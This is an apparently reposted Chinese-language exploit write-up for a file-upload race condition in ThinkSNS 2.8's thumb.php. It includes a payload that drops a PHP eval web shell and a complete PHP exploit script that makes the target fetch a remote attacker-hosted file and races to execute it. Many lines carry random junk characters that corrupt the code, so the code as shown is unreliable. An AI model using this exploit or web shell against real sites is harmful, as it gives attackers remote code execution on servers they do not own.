Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
9 s2 e/ t" ^3 ^存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
+ o/ U* I0 Y" ^4 e3 J漏洞文件
存在漏洞的文件为：thumb.php
- j) E+ m; z  b9 z+ ~7 M作者：韦鲲鹏
% p+ A/ X! R7 H) l* y1、        准备如下PHP文件并上传到服务器（自己的）。
+ n6 M% q  Y5 p4 ]文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
+ E  t3 K, C) ~" v2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
8 C3 _7 l9 |% p3 ~# K9 l
) t/ _/ n1 [- u) K2 ^6 H9 P3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
# P0 i# f, `4 Y3 q2 l* p" BExploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
7 B9 M  P. O# G( qset_time_limit(0);
. H7 V$ }4 a* ^+ ^ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
; ~  ?0 i3 B4 o) E% s2 Cfclose($fp);
return $ret;
% D; X2 }( i7 ]3 p  L: C; s}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
* U$ _) O" U$ B2 t, Q) Tprint “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
% j" y# U2 w# \4 @+ @9 J+ Lprint “Usage:   php <host> <path> <romote_url>\n”;
  E# Y" O& r  h- wprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
5 K( d* B  y& d& @9 U) j' F4 Ydie();
}
+ G  l5 B" `: }/ l1 {; B6 M# o% W' a" @$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
) ~2 h) L+ n+ R# k//上传数据包
, e& ]! l% @5 I$ S( A$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& o+ b9 ~+ Z+ p$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
2 v2 c% \" T* c2 c7 s- U1 recho $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
9 g$ t1 d- |& ~6 h' ~. B# cwhile(++$i<50) {
0 s& X7 G1 m* A8 J- m8 ]  yfclose(http_send($host, 80, $headers));
}
& @: r5 T# K8 k3 t1 R4 e/ v7 v1 J$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$ r. ?8 d/ E0 h( g% E; \$headers .= “Connection: close\r\n\r\n”;
8 P2 o4 d7 p1 N0 I& J$res=http_recv(http_send($host, 80, $headers));
/ l' h0 h' T( j$ \( S& B5 uif(preg_match(‘/200 OK/’,$res)) {
; d* [" M3 r2 n+ ^print “Success!\n\n”;
} else {
( H# U5 G+ X2 j9 o+ b! e1 m0 _6 }print “Fail!\n\n”;
}
4 l4 ^, F& O2 u4 t?>
​